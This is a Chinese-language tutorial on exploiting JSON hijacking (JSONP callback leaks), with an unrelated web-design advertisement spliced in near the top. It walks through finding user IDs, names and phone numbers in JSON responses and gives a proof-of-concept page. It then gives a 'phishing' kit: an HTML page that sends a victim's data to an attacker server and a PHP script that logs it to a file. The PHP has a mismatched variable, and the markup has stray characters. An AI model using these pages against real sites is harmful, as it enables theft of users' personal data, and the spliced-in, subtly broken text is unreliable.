如何进行JSONHijacking实战利用

这篇文章将为大家详细讲解有关如何进行JSON Hijacking实战利用，文章内容质量较高，因此小编分享给大家做个参考，希望大家阅读完这篇文章后对相关知识有一定的了解。

10多年的乌恰网站建设经验，针对设计、前端、开发、售后、文案、推广等六对一服务，响应快，48小时及时工作处理。网络营销推广的优势是能够根据用户设备显示端的尺寸不同，自动调整乌恰建站的显示方式，使网站能够适用不同显示终端，在浏览器中调整网站的宽度，无论在任何一种浏览器上浏览网站，都能展现优雅布局与设计，从而大程度地提升浏览体验。创新互联建站从事“乌恰网站设计”,“乌恰网站推广”以来，每个客户项目都认真落实执行。

前言

JSON Hijacking漏洞的详细利用，有点类似与CSRF，不过原理利用方式不同，在这边文章我着重讲解json跨域劫持的利用环境搭建与方式。

0×01漏洞的挖掘

一般挖掘的过程中，burpsuite代理的History做寻找，过滤多余不可能存在漏洞的一些链接，如下图所示：

如何进行JSON Hijacking实战利用

我们在返回包中json格式发现了如下的敏感信息（用户Id，用户名，用户手机号码）。

如何进行JSON Hijacking实战利用

0×02漏洞的证明之poc

提交漏洞，poc在众测时要争分夺秒，所以这边用了最精简的一个POC。

假如返回的数据为：

txf({"data":{"name":"唐晓峰"}});

<html>
<head>
<script>
function txf(a){
alert(a.data.name);
}
</script>

<script src=http://***.***.**/wm/User/getUserInfo?callback=txf></script>
</body>
</html>

即可如下弹窗：

如何进行JSON Hijacking实战利用

0×03漏洞的利用之钓鱼

1.准备一台web服务器，我直接phpstudy搭的。

附上服务器端的代码

json.php

<?php
$nickname=$_GET['name'];
$fp = fopen('info.txt','a');
$flag = fwrite($fp, "名字:  ".$name."\r\n");
?><html>

钓鱼.html

<head>
    <title>txf</title>
<script>
	var xmlhttp;
    function txf(a)
    {
    xmlhttp=new XMLHttpRequest()
	var x="http://***.***.***/json.php?name="+a.data.name;
	xmlhttp.open("GET", x, true);
	xmlhttp.send();
	}
</script>>
<script src=http://***.***.***?callback=txf></script>
</head>
<body>
	<textarea>钓鱼啦，傻瓜</textarea>>
</body>
</html>